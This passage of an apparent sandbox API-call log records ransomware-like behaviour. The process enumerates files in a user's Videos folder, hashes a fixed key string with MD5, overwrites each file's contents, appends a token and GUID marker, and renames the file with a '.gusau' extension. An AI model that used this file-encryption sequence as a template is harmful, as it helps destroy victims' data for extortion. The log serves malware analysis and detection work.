1 [0119.710] GetLastError () returned 0x0 [0119.710] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.710] CryptReleaseContext (hProv=0xdf0938, dwFlags=0x0) returned 1 [0119.710] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0119.710] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x10880) returned 0x39f9f20 [0119.710] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.711] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.711] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x1087e, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x1087e, lpOverlapped=0x0) returned 1 [0119.711] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0119.711] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x10883, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.711] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.711] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0119.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0119.711] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0119.711] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.711] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.711] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0119.711] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0119.711] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.711] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.712] CloseHandle (hObject=0x610) returned 1 [0119.712] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xe0) returned 0x39f5f38 [0119.712] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8f0) returned 0x39f4ef8 [0119.713] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5f38 | out: hHeap=0xd10000) returned 1 [0119.713] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\xbwc4aSxlyVVrqHkiS\\E31COVq.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\svld8m-ojow\\xbwc4asxlyvvrqhkis\\e31covq.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\xbwc4aSxlyVVrqHkiS\\E31COVq.mkv.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\svld8m-ojow\\xbwc4asxlyvvrqhkis\\e31covq.mkv.gusau")) returned 1 [0119.715] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.715] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.716] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3920c68 | out: hHeap=0xd10000) returned 1 [0119.716] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57b17d80, ftCreationTime.dwHighDateTime=0x1d4cc65, ftLastAccessTime.dwLowDateTime=0xf7e102f0, ftLastAccessTime.dwHighDateTime=0x1d4cabf, ftLastWriteTime.dwLowDateTime=0xf7e102f0, ftLastWriteTime.dwHighDateTime=0x1d4cabf, nFileSizeHigh=0x0, nFileSizeLow=0xb4df, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QDp9.mp4", cAlternateFileName="")) returned 1 [0119.716] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e360 [0119.716] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11e) returned 0x3920c68 [0119.716] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e360 | out: hHeap=0xd10000) returned 1 [0119.716] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\xbwc4aSxlyVVrqHkiS\\QDp9.mp4") returned=".mp4" [0119.716] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\xbwc4aSxlyVVrqHkiS\\QDp9.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\svld8m-ojow\\xbwc4asxlyvvrqhkis\\qdp9.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.716] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=46303) returned 1 [0119.716] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.718] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xb4b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.719] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.720] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0119.720] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0119.720] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.720] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xb4df, lpOverlapped=0x0) returned 1 [0119.721] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.721] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0119.721] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.721] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.721] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0938) returned 1 [0119.722] CryptCreateHash (in: hProv=0xdf0938, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.722] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.722] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.722] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0119.722] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.722] GetLastError () returned 0x0 [0119.722] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.722] CryptReleaseContext (hProv=0xdf0938, dwFlags=0x0) returned 1 [0119.722] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0119.722] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb4e0) returned 0x39f9f20 [0119.722] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.722] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.722] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0xb4da, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0xb4da, lpOverlapped=0x0) returned 1 [0119.723] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0119.723] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xb4df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.723] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.723] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0119.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0119.723] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0119.723] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.723] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.723] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0119.723] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0119.723] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.723] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.723] CloseHandle (hObject=0x610) returned 1 [0119.724] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a438 [0119.724] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8e0) returned 0x39f4ef8 [0119.724] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a438 | out: hHeap=0xd10000) returned 1 [0119.724] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\xbwc4aSxlyVVrqHkiS\\QDp9.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\svld8m-ojow\\xbwc4asxlyvvrqhkis\\qdp9.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\xbwc4aSxlyVVrqHkiS\\QDp9.mp4.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\svld8m-ojow\\xbwc4asxlyvvrqhkis\\qdp9.mp4.gusau")) returned 1 [0119.725] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.725] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.726] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3920c68 | out: hHeap=0xd10000) returned 1 [0119.726] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92fd31a0, ftCreationTime.dwHighDateTime=0x1d4d08d, ftLastAccessTime.dwLowDateTime=0x2be18640, ftLastAccessTime.dwHighDateTime=0x1d4d37d, ftLastWriteTime.dwLowDateTime=0x2be18640, ftLastWriteTime.dwHighDateTime=0x1d4d37d, nFileSizeHigh=0x0, nFileSizeLow=0x9a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="utbmN6bsL1s2QoyIy_N.mp4", cAlternateFileName="UTBMN6~1.MP4")) returned 1 [0119.726] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e360 [0119.726] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11e) returned 0x3920c68 [0119.726] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e360 | out: hHeap=0xd10000) returned 1 [0119.726] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\xbwc4aSxlyVVrqHkiS\\utbmN6bsL1s2QoyIy_N.mp4") returned=".mp4" [0119.726] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\xbwc4aSxlyVVrqHkiS\\utbmN6bsL1s2QoyIy_N.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\svld8m-ojow\\xbwc4asxlyvvrqhkis\\utbmn6bsl1s2qoyiy_n.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.726] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=39488) returned 1 [0119.726] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.728] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x9a1a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.728] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.730] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0119.730] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.730] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.730] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x9a40, lpOverlapped=0x0) returned 1 [0119.730] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.730] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0119.731] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.731] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.731] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0938) returned 1 [0119.731] CryptCreateHash (in: hProv=0xdf0938, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.731] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.731] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.731] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0119.731] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.731] GetLastError () returned 0x0 [0119.732] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.732] CryptReleaseContext (hProv=0xdf0938, dwFlags=0x0) returned 1 [0119.732] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0119.732] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x9a40) returned 0x39f9f20 [0119.732] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.732] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.732] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x9a3b, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x9a3b, lpOverlapped=0x0) returned 1 [0119.732] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0119.732] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x9a40, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.732] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.732] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0119.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0119.732] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0119.732] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.732] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.732] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0119.733] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0119.733] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.733] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.733] CloseHandle (hObject=0x610) returned 1 [0119.733] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xf0) returned 0x3964eb0 [0119.734] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x900) returned 0x39f4ef8 [0119.734] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3964eb0 | out: hHeap=0xd10000) returned 1 [0119.734] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\xbwc4aSxlyVVrqHkiS\\utbmN6bsL1s2QoyIy_N.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\svld8m-ojow\\xbwc4asxlyvvrqhkis\\utbmn6bsl1s2qoyiy_n.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\xbwc4aSxlyVVrqHkiS\\utbmN6bsL1s2QoyIy_N.mp4.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\svld8m-ojow\\xbwc4asxlyvvrqhkis\\utbmn6bsl1s2qoyiy_n.mp4.gusau")) returned 1 [0119.734] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.734] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.735] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3920c68 | out: hHeap=0xd10000) returned 1 [0119.735] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92fd31a0, ftCreationTime.dwHighDateTime=0x1d4d08d, ftLastAccessTime.dwLowDateTime=0x2be18640, ftLastAccessTime.dwHighDateTime=0x1d4d37d, ftLastWriteTime.dwLowDateTime=0x2be18640, ftLastWriteTime.dwHighDateTime=0x1d4d37d, nFileSizeHigh=0x0, nFileSizeLow=0x9a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="utbmN6bsL1s2QoyIy_N.mp4", cAlternateFileName="UTBMN6~1.MP4")) returned 0 [0119.735] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.735] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0119.735] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e428 | out: hHeap=0xd10000) returned 1 [0119.735] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.735] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x39301f8 [0119.735] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.735] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.735] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.735] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0119.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.736] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.736] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.736] HeapFree (in: 